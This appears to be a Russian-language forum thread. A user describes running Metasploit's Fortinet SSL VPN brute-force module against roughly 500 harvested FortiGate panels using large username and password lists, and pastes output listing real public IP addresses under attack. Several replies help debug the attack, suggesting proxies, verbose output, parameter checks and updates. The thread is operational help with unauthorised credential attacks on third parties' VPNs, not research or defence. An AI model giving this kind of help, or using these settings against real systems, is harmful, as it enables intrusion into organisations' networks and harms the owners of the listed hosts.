VPN Fortigate Скан завершается за 5 секунд, нулевой результат. прошу помощь.

[m4dbyt3]

Привет всем Уважаемые! возникла следующая ситуация -> собрал скромный список 'fortinet-fortigate-panel' 500шт , пробую запускать по ним брут с помощью модуля -> auxiliary/scanner/http/fortinet_ssl_vpn указываю set user_file,pass_file,hosts file -> жму run , начинается сканирование и заканчивается примерно через 5 минут ... учитывая что список юзеров 100к и паролей 3к считаю что это очень быстро и результатов соответственно нету

кто может подсказать,что я делаю не так ?

 

[xargs]

кто может подсказать,что я делаю не так ?

Можно для начала научиться пользоваться MSF и включить вывод, по дефольту так: set verbose true но лучше глянуть show advanced или же пустить траф через прокси, или же посмотреть wireshark что происходит в сети. Вариантов много.

 

[SlEpOy_SnIpEr]

Привет всем Уважаемые! возникла следующая ситуация -> собрал скромный список 'fortinet-fortigate-panel' 500шт , пробую запускать по ним брут с помощью модуля -> auxiliary/scanner/http/fortinet_ssl_vpn указываю set user_file,pass_file,hosts file -> жму run , начинается сканирование и заканчивается примерно через 5 минут ... учитывая что список юзеров 100к и паролей 3к считаю что это очень быстро и результатов соответственно нету

кто может подсказать,что я делаю не так ?

скрин покажи. Если метасплоит отработал некорректно, то будет ошибка.

 

[Asagor]

+
Для начало бы логи с ошибкой скинуть и потом уже гадать что и как произошло

 

[false]

паролей 3к

если ты не используешь прокси то максимум ты можешь сбрутить 3 пароля за раз, а не 3000
скорее всего в этом проблема

 

[m4dbyt3]

ошибок по выполнению нет , усомнился из-за скорости выполнения

[+] 60.242.135.178:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 60.242.135.178:8443 - [1/0] - Starting login brute force...
[+] 60.242.135.189:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 60.242.135.189:8443 - [1/0] - Starting login brute force...
[+] 61.14.113.135:8443 - [1/0] - Server is responsive...
[+] 60.242.94.78:8443 - [1/0] - Server is responsive...
[+] 60.241.113.62:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 60.241.113.62:8443 - [1/0] - Starting login brute force...
[+] 60.242.177.142:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 60.242.177.142:8443 - [1/0] - Starting login brute force...
[+] 61.69.178.25:8443 - [1/0] - Server is responsive...
[+] 61.68.39.150:8443 - [1/0] - Server is responsive...
[+] 61.68.38.210:8443 - [1/0] - Server is responsive...
[+] 67.213.140.19:8443 - [1/0] - Server is responsive...
[+] 66.203.112.5:8443 - [1/0] - Server is responsive...
[+] 61.14.113.135:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 61.14.113.135:8443 - [1/0] - Starting login brute force...
[+] 60.242.94.78:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 60.242.94.78:8443 - [1/0] - Starting login brute force...
[+] 61.8.30.210:8443 - [1/0] - Server is responsive...
[+] 89.147.120.91:8443 - [1/0] - Server is responsive...
[+] 61.69.178.25:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 61.69.178.25:8443 - [1/0] - Starting login brute force...
[-] 67.213.140.19:8443 - [1/0] - Application does not appear to be Fortinet SSL VPN. Module will not continue.
[+] 66.203.112.5:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 66.203.112.5:8443 - [1/0] - Starting login brute force...
[+] 61.68.39.150:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 61.68.39.150:8443 - [1/0] - Starting login brute force...
[+] 61.68.38.210:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 61.68.38.210:8443 - [1/0] - Starting login brute force...
[+] 61.8.30.210:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 61.8.30.210:8443 - [1/0] - Starting login brute force...
[+] 89.147.120.91:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 89.147.120.91:8443 - [1/0] - Starting login brute force...
[*] Scanned 425 of 425 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/fortinet_ssl_vpn) >

 

[SlEpOy_SnIpEr]

ошибок по выполнению нет , усомнился из-за скорости выполнения

[+] 60.242.135.178:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 60.242.135.178:8443 - [1/0] - Starting login brute force...
[+] 60.242.135.189:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 60.242.135.189:8443 - [1/0] - Starting login brute force...
[+] 61.14.113.135:8443 - [1/0] - Server is responsive...
[+] 60.242.94.78:8443 - [1/0] - Server is responsive...
[+] 60.241.113.62:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 60.241.113.62:8443 - [1/0] - Starting login brute force...
[+] 60.242.177.142:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 60.242.177.142:8443 - [1/0] - Starting login brute force...
[+] 61.69.178.25:8443 - [1/0] - Server is responsive...
[+] 61.68.39.150:8443 - [1/0] - Server is responsive...
[+] 61.68.38.210:8443 - [1/0] - Server is responsive...
[+] 67.213.140.19:8443 - [1/0] - Server is responsive...
[+] 66.203.112.5:8443 - [1/0] - Server is responsive...
[+] 61.14.113.135:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 61.14.113.135:8443 - [1/0] - Starting login brute force...
[+] 60.242.94.78:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 60.242.94.78:8443 - [1/0] - Starting login brute force...
[+] 61.8.30.210:8443 - [1/0] - Server is responsive...
[+] 89.147.120.91:8443 - [1/0] - Server is responsive...
[+] 61.69.178.25:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 61.69.178.25:8443 - [1/0] - Starting login brute force...
[-] 67.213.140.19:8443 - [1/0] - Application does not appear to be Fortinet SSL VPN. Module will not continue.
[+] 66.203.112.5:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 66.203.112.5:8443 - [1/0] - Starting login brute force...
[+] 61.68.39.150:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 61.68.39.150:8443 - [1/0] - Starting login brute force...
[+] 61.68.38.210:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 61.68.38.210:8443 - [1/0] - Starting login brute force...
[+] 61.8.30.210:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 61.8.30.210:8443 - [1/0] - Starting login brute force...
[+] 89.147.120.91:8443 - [1/0] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 89.147.120.91:8443 - [1/0] - Starting login brute force...
[*] Scanned 425 of 425 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/fortinet_ssl_vpn) >

Обнови метасплоит, а потом проверь правильность прописанных параметров по каждому аргументу. и попробуй еще изменить параметр ShowProgressPercent на 1. То есть set ShowProgressPercent 1. Он будет выводить инфу по каждому айпи